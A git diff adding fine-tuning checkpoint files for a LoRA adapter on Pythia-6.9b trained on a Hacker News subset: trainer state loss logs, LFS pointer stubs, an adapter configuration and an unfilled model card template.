"eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 5.271646976470947, + "learning_rate": 2.192592592592593e-05, + "loss": 1.7342, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.955838441848755, + "eval_runtime": 43.8068, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 5.032471656799316, + "learning_rate": 2.074074074074074e-05, + "loss": 1.7208, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.931419849395752, + "eval_runtime": 43.8221, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.852, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.4340333938598633, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7117, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.938490629196167, + "eval_runtime": 43.8201, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.5259785652160645, + "learning_rate": 1.837037037037037e-05, + "loss": 1.7309, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.941317319869995, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.4281272888183594, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6833, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.9625537395477295, + "eval_runtime": 43.8337, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9920337200164795, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.6104, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 3.0229849815368652, + "eval_runtime": 43.8532, + "eval_samples_per_second": 22.803, + "eval_steps_per_second": 2.85, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.6704397201538086, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.6429, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 3.0016684532165527, + "eval_runtime": 43.8408, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 550 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 9.0123395923968e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..fec0d91ede56d1a9fecad05f02e9a98470156455 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f18bbfec33d348eae93d2c238c6156a2da10375f87e1036bac645985f02d3a79 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..af0d8b6db216ce0576467036eab522b4b2b996fe --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f312bf081bf009c013da8ca08512e7eb50e233c7f1285219dd57f6eeaafb2d09 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..75311ff97c8628cb71fe6f6cdca5e9e1127d30b6 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3b6745ab2a92f54dcacb73c3ceec9d54235e5b225134fb7703879ee6185ad897 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..ffa4f4faa1638037c7009a7874a8ec2f958a56f3 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:01b0d6dead233f71cda974ae02165d32469a3692fb9b97739fca51d1798a012e +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..88de9c8985c68146f96819a6ff22f556420baffb --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/trainer_state.json @@ -0,0 +1,873 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 7.466666666666667, + "eval_steps": 10, + "global_step": 560, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 5.271646976470947, + "learning_rate": 2.192592592592593e-05, + "loss": 1.7342, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.955838441848755, + "eval_runtime": 43.8068, + "eval_samples_per_second": 22.828, + 